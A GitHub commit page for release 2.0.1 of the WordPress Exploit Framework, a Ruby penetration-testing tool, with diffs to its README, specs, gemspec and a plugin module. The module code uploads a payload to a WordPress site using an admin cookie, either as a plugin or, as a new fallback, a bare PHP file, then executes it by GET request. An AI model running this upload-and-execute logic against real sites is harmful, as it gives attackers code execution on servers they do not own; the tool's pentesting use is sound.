Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 4663eb2

Browse files
authored
Merge release 2.0.1
2 parents a21842b + dfb12b3 commit 4663eb2

File tree

6 files changed

+182
-61
lines changed

6 files changed

+182
-61
lines changed

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ sudo apt-get install build-essential patch
3030
It’s possible that you don’t have important development header files installed on your system. Here’s what you should do if you should find yourself in this situation:
3131

3232
```
33-
sudo apt-get install ruby-dev zlib1g-dev liblzma-dev
33+
sudo apt-get install ruby-dev zlib1g-dev liblzma-dev libsqlite3-dev
3434
```
3535

3636
#### Windows Systems
@@ -95,7 +95,7 @@ Exploit modules require you to specify a payload which subsequently gets execute
9595
All these payloads, with the exception of `custom` and the Meterpreter payloads, will delete themselves after they have been executed, to avoid leaving them lying around on the target machine after use or in the event that they are being used to establish a shell which fails.
9696

9797
### How can I write my own modules and payloads?
98-
Guides on writing modules and payloads can be found on [The Wiki](https://github.com/rastating/wordpress-exploit-framework/wiki) and full documentation of the API can be found at http://www.getwpxf.com/.
98+
Guides on writing modules and payloads can be found on [The Wiki](https://github.com/rastating/wordpress-exploit-framework/wiki) and full documentation of the API can be found at https://rastating.github.io/wordpress-exploit-framework
9999

100100
## License
101101
Copyright (C) 2015-2018 rastating

data/json/commands.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -94,7 +94,7 @@
9494
},
9595
{
9696
"cmd": "use [module_path]",
97-
"desc": "Loads the specified module into the current context."
97+
"desc": "Load the specified module into the current context."
9898
},
9999
{
100100
"cmd": "workspace",

lib/wpxf/utility/body_builder.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,7 @@ def create
7171
private
7272

7373
def _cleanup_temp_files(fields)
74+
return if fields.nil?
7475
fields.each { |_k, v| v.close if v.is_a?(File) }
7576
FileUtils.rm_rf @temp_dir.to_s
7677
end

lib/wpxf/wordpress/plugin.rb

Lines changed: 49 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,18 @@ def upload_payload_as_plugin(name, payload_name, cookie)
2121
return false if nonce.nil?
2222

2323
res = _upload_plugin(name, payload_name, cookie, nonce)
24+
res&.code == 200 && res.body !~ /plugin installation failed/i
25+
end
26+
27+
# Upload the payload via the plugin form without packaging it in a ZIP file.
28+
# @param payload_name [String] the name the payload should use on the server.
29+
# @param cookie [String] a valid admin session cookie.
30+
# @return [Boolean] true on success, false on error.
31+
def upload_payload_using_plugin_form(payload_name, cookie)
32+
nonce = fetch_plugin_upload_nonce(cookie)
33+
return false if nonce.nil?
34+
35+
res = _upload_plugin(nil, payload_name, cookie, nonce, false)
2436
res&.code == 200
2537
end
2638

@@ -30,18 +42,16 @@ def upload_payload_as_plugin(name, payload_name, cookie)
3042
# @param cookie [String] a valid admin session cookie.
3143
# @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.
3244
def upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie)
33-
unless upload_payload_as_plugin(plugin_name, payload_name, cookie)
34-
emit_error 'Failed to upload the payload'
35-
return nil
36-
end
45+
uploaded_as_plugin = upload_payload_as_plugin(plugin_name, payload_name, cookie)
3746

38-
payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
39-
emit_info "Executing the payload at #{payload_url}..."
40-
res = execute_get_request(url: payload_url)
47+
unless uploaded_as_plugin
48+
unless upload_payload_using_plugin_form(payload_name, cookie)
49+
emit_error 'Failed to upload the payload'
50+
return nil
51+
end
52+
end
4153

42-
has_body = res&.code == 200 && !res.body.strip.empty?
43-
emit_success "Result: #{res.body}" if has_body
44-
res
54+
_execute_payload_uploaded_as_plugin(uploaded_as_plugin ? plugin_name : nil, payload_name)
4555
end
4656

4757
# Generate a valid WordPress plugin header / base file.
@@ -61,15 +71,33 @@ def generate_wordpress_plugin_header(plugin_name)
6171

6272
private
6373

74+
def _payload_url(plugin_name, payload_name)
75+
if plugin_name.nil?
76+
normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), "#{payload_name}.php")
77+
else
78+
normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
79+
end
80+
end
81+
82+
def _execute_payload_uploaded_as_plugin(plugin_name, payload_name)
83+
payload_url = _payload_url(plugin_name, payload_name)
84+
emit_info "Executing the payload at #{payload_url}..."
85+
res = execute_get_request(url: payload_url)
86+
87+
has_body = res&.code == 200 && !res.body.strip.empty?
88+
emit_success "Result: #{res.body}" if has_body
89+
res
90+
end
91+
6492
def _generate_wordpress_plugin_version
6593
"#{Wpxf::Utility::Text.rand_numeric(1)}."\
6694
"#{Wpxf::Utility::Text.rand_numeric(1)}."\
6795
"#{Wpxf::Utility::Text.rand_numeric(2)}"
6896
end
6997

7098
# Build the body and return the response of the request.
71-
def _upload_plugin(plugin_name, payload_name, cookie, nonce)
72-
builder = _plugin_upload_builder(plugin_name, payload_name, nonce)
99+
def _upload_plugin(plugin_name, payload_name, cookie, nonce, create_zip = true)
100+
builder = _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip)
73101
builder.create do |body|
74102
return execute_post_request(
75103
url: wordpress_url_admin_update,
@@ -90,13 +118,19 @@ def _plugin_files(plugin_name, payload_name)
90118
end
91119

92120
# A {BodyBuilder} with the required fields to upload a plugin.
93-
def _plugin_upload_builder(plugin_name, payload_name, nonce)
94-
zip_fields = _plugin_files(plugin_name, payload_name)
121+
def _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip = true)
95122
builder = Wpxf::Utility::BodyBuilder.new
96123
builder.add_field('_wpnonce', nonce)
97124
builder.add_field('_wp_http_referer', wordpress_url_plugin_upload)
98-
builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
99125
builder.add_field('install-plugin-submit', 'Install Now')
126+
127+
if create_zip
128+
zip_fields = _plugin_files(plugin_name, payload_name)
129+
builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
130+
else
131+
builder.add_file_from_string('pluginzip', payload.encoded, "#{payload_name}.php")
132+
end
133+
100134
builder
101135
end
102136
end

spec/lib/wpxf/wordpress/plugin_spec.rb

Lines changed: 123 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -20,12 +20,17 @@
2020
subject
2121
end
2222

23+
let(:post_res) { Wpxf::Net::HttpResponse.new(nil) }
24+
2325
before :each do
2426
res = Wpxf::Net::HttpResponse.new(nil)
2527
res.body = body
2628
res.code = code
2729

2830
allow(subject).to receive(:execute_get_request).and_return(res)
31+
allow(subject).to receive(:upload_payload_using_plugin_form).and_call_original
32+
allow(subject).to receive(:execute_post_request).and_return(post_res)
33+
allow(subject).to receive(:emit_error)
2934
end
3035

3136
describe '#fetch_plugin_upload_nonce' do
@@ -44,64 +49,145 @@
4449
expect(script).to match(/\*\sPlugin\sName:\stest/)
4550
expect(script).to match(/\*\sVersion:\s[0-9]\.[0-9]\.[0-9]{2}/)
4651
expect(script).to match(/\*\sAuthor:\s[a-zA-Z]{10}/)
47-
expect(script).to match(/\*\sAuthor\sURI:\shttp:\/\/[a-zA-Z]{10}\.com/)
52+
expect(script).to match(%r{\*\sAuthor\sURI:\shttp://[a-zA-Z]{10}\.com})
4853
end
4954
end
5055

51-
describe '#wordpress_upload_plugin' do
52-
it 'returns false if an upload nonce cannot be retrieved' do
53-
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return nil
54-
res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
55-
expect(res).to be false
56+
describe '#upload_payload_as_plugin' do
57+
context 'if an upload nonce cannot be retrieved' do
58+
it 'should return false' do
59+
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return nil
60+
res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
61+
expect(res).to be false
62+
end
63+
end
64+
65+
context 'if an upload is successful' do
66+
it 'should return true ' do
67+
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
68+
allow(subject).to receive(:execute_post_request) do |opts|
69+
expect(opts[:url]).to eq subject.wordpress_url_admin_update
70+
expect(opts[:params]).to eq('action' => 'upload-plugin')
71+
expect(opts[:cookie]).to eq 'cookie'
72+
expect(opts[:body]).to include(
73+
'_wpnonce',
74+
'_wp_http_referer',
75+
'pluginzip',
76+
'install-plugin-submit'
77+
)
78+
79+
res = Wpxf::Net::HttpResponse.new(nil)
80+
res.code = 200
81+
res
82+
end
83+
84+
res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
85+
expect(res).to be true
86+
end
5687
end
5788

58-
it 'returns true if an upload is successful' do
59-
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
60-
allow(subject).to receive(:execute_post_request) do |opts|
61-
expect(opts[:url]).to eq subject.wordpress_url_admin_update
62-
expect(opts[:params]).to eq('action' => 'upload-plugin')
63-
expect(opts[:cookie]).to eq 'cookie'
64-
expect(opts[:body]).to include(
65-
'_wpnonce',
66-
'_wp_http_referer',
67-
'pluginzip',
68-
'install-plugin-submit'
69-
)
70-
71-
res = Wpxf::Net::HttpResponse.new(nil)
72-
res.code = 200
73-
res
89+
context 'if the response code is not 200' do
90+
it 'should return false' do
91+
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
92+
post_res.code = 404
93+
res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
94+
expect(res).to be false
7495
end
96+
end
97+
end
7598

76-
res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
77-
expect(res).to be true
99+
describe '#upload_payload_using_plugin_form' do
100+
context 'if an upload nonce cannot be retrieved' do
101+
it 'should return false' do
102+
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return nil
103+
res = subject.upload_payload_using_plugin_form('test', 'cookie')
104+
expect(res).to be false
105+
end
78106
end
79107

80-
it 'returns false if the response code is not 200' do
81-
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
82-
allow(subject).to receive(:execute_post_request) do
83-
res = Wpxf::Net::HttpResponse.new(nil)
84-
res.code = 404
85-
res
108+
context 'if an upload is successful' do
109+
it 'should return true ' do
110+
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
111+
allow(subject).to receive(:execute_post_request) do |opts|
112+
expect(opts[:url]).to eq subject.wordpress_url_admin_update
113+
expect(opts[:params]).to eq('action' => 'upload-plugin')
114+
expect(opts[:cookie]).to eq 'cookie'
115+
expect(opts[:body]).to include(
116+
'_wpnonce',
117+
'_wp_http_referer',
118+
'pluginzip',
119+
'install-plugin-submit'
120+
)
121+
122+
res = Wpxf::Net::HttpResponse.new(nil)
123+
res.code = 200
124+
res
125+
end
126+
127+
res = subject.upload_payload_using_plugin_form('test', 'cookie')
128+
expect(res).to be true
86129
end
130+
end
87131

88-
res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
89-
expect(res).to be false
132+
context 'if the response code is not 200' do
133+
it 'should return false' do
134+
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
135+
post_res.code = 404
136+
res = subject.upload_payload_using_plugin_form('test', 'cookie')
137+
expect(res).to be false
138+
end
90139
end
91140
end
92141

93142
describe '#upload_payload_as_plugin_and_execute' do
94143
context 'when the plugin fails to upload' do
95-
it 'returns nil' do
96-
res = subject.upload_payload_as_plugin_and_execute('', '', '')
97-
expect(res).to be_nil
144+
it 'should attempt to upload the unpackaged payload' do
145+
subject.upload_payload_as_plugin_and_execute('plugin_name', 'payload_name', 'cookie')
146+
expect(subject).to have_received(:upload_payload_using_plugin_form)
147+
.with('payload_name', 'cookie')
148+
.exactly(1).times
149+
end
150+
151+
context 'if both upload attempts fail' do
152+
it 'should return nil' do
153+
res = subject.upload_payload_as_plugin_and_execute('', '', '')
154+
expect(res).to be_nil
155+
end
156+
157+
it 'should emit an error' do
158+
subject.upload_payload_as_plugin_and_execute('', '', '')
159+
expect(subject).to have_received(:emit_error)
160+
.with('Failed to upload the payload')
161+
.exactly(1).times
162+
end
163+
end
164+
end
165+
166+
context 'if the payload was not packaged as a plugin' do
167+
it 'should attempt to execute it from the uploads directory' do
168+
expected_url = "http://127.0.0.1/wp/wp-content/uploads/#{Time.now.strftime('%Y')}/#{Time.now.strftime('%m')}/test.php"
169+
allow(subject).to receive(:upload_payload_using_plugin_form).and_return(true)
170+
subject.upload_payload_as_plugin_and_execute('test', 'test', 'cookie')
171+
expect(subject).to have_received(:execute_get_request)
172+
.with(url: expected_url)
173+
end
174+
end
175+
176+
context 'if the payload was packaged as a plugin' do
177+
it 'should attempt to execute it from the plugins directory' do
178+
expected_url = 'http://127.0.0.1/wp/wp-content/plugins/plugin_name/payload_name.php'
179+
allow(subject).to receive(:upload_payload_as_plugin).and_return(true)
180+
subject.upload_payload_as_plugin_and_execute('plugin_name', 'payload_name', 'cookie')
181+
expect(subject).to have_received(:execute_get_request)
182+
.with(url: expected_url)
98183
end
99184
end
100185

101186
context 'when the execution returns status 200' do
102187
let(:code) { 200 }
103188
let(:body) { 'res content' }
104-
it 'emits the response content' do
189+
190+
it 'should emit the response content' do
105191
allow(subject).to receive(:upload_payload_as_plugin).and_return true
106192

107193
emitted_content = false
@@ -115,7 +201,7 @@
115201
end
116202

117203
context 'when the payload is executed' do
118-
it 'returns the HttpResponse of the payload request' do
204+
it 'should return the HttpResponse of the payload request' do
119205
allow(subject).to receive(:upload_payload_as_plugin).and_return true
120206
res = subject.upload_payload_as_plugin_and_execute('', '', '')
121207
expect(res).to be_kind_of Wpxf::Net::HttpResponse

wpxf.gemspec

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,31 +2,31 @@
22

33
Gem::Specification.new do |s|
44
s.name = 'wpxf'
5-
s.version = '2.0.0'
6-
s.date = '2018-07-14'
5+
s.version = '2.0.1'
6+
s.date = '2018-10-06'
77
s.summary = 'WordPress Exploit Framework'
88
s.description = 'A Ruby framework designed to aid in the penetration testing of WordPress systems'
99
s.authors = ['rastating']
10-
s.email = 'rob@rastating.com'
10+
s.email = 'robert.carr@owasp.org'
1111
s.files = %w[lib db data bin].map { |d| Dir["#{d}/**/*"] }.flatten + ['wpxf.gemspec']
1212
s.homepage = 'https://github.com/rastating/wordpress-exploit-framework'
1313
s.license = 'GPL-3.0'
1414
s.executables << 'wpxf'
1515
s.required_ruby_version = '>= 2.4.4'
1616

1717
s.add_dependency 'colorize', '~> 0.8'
18-
s.add_dependency 'mime-types', '~> 3.1'
18+
s.add_dependency 'mime-types', '~> 3.2'
1919
s.add_dependency 'nokogiri', '~> 1.8'
2020
s.add_dependency 'require_all', '~> 2.0'
2121
s.add_dependency 'rubyzip', '~> 1.2'
22-
s.add_dependency 'sequel', '~> 5.11'
22+
s.add_dependency 'sequel', '~> 5.13'
2323
s.add_dependency 'slop', '~> 4.6'
2424
s.add_dependency 'sqlite3', '~> 1.3'
2525
s.add_dependency 'typhoeus', '~> 1.3'
2626

2727
s.add_development_dependency 'coveralls', '~> 0.8'
2828
s.add_development_dependency 'database_cleaner', '~> 1.7'
29-
s.add_development_dependency 'rspec', '~> 3.7'
29+
s.add_development_dependency 'rspec', '~> 3.8'
3030
s.add_development_dependency 'rspec_sequel_matchers', '~> 0.5'
3131
s.add_development_dependency 'yard', '~> 0.9'
3232
end

0 commit comments

Comments
 (0)